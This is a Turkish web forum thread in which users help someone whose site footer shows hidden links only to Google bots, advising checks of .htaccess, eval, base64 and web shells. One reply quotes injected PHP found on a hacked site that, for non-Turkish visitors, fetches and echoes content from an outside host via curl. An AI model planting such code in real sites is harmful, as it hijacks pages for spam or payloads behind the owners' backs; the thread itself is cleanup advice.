Çok garip bir durum var daha önce asla başıma gelmedi

adresi pm atarsanız bakalım hocam

PM ile ulaşın yardımcı olayım hocam.

Htacces e baktınız mı? Tüm dosyaları indirip dosya içinde eval ve referer kelimelerini arayın. Sonuç bulunursa o satırları inceleyin.

arkadaşlar site tertemiz hiç bir yerde birşey çıkmıyor sadece google botlarının göreceği şekildek kod var footer da sorun hala devam ediyor

Kodlara çok dikkatli bakın hocam aynı durum 1 ay kadar önce benimde başıma geldi. Kendi yazdığım script olduğu için yabancı kodu buldum hemen. Gözden kaçırıyorsunuz dosyaların içinde mutlaka. base64 olarak saklanıyor genelde.

En son curl ile hacklink bırakmışlardı .... ..... . Arkadaşın Wordpressine shelli yedirmişler, ordan dolaşmışlar. Shelli de bakın sunucu içinde.

    error_reporting(0); if (!strstr($_SERVER['HTTP_ACCEPT_LANGUAGE'],"tr")) {
 $ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, "http://www.vspy.net/1.txt");
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data=curl_exec($ch);curl_close($ch);echo $data;}
exit;

hala devam ediyor

tüm htaccess, sql ve php dosyalarını kontrol edin include etmiş yada şifreli şekilde koymuş olabilir.imkanınız varsa siteyi farklı bir sql ve htaccess ile çalıştırın sorun devam ediyorsa php dosyalarınzdadır.

Merhabalar; merak ettim sorunu çözebildiniz mi?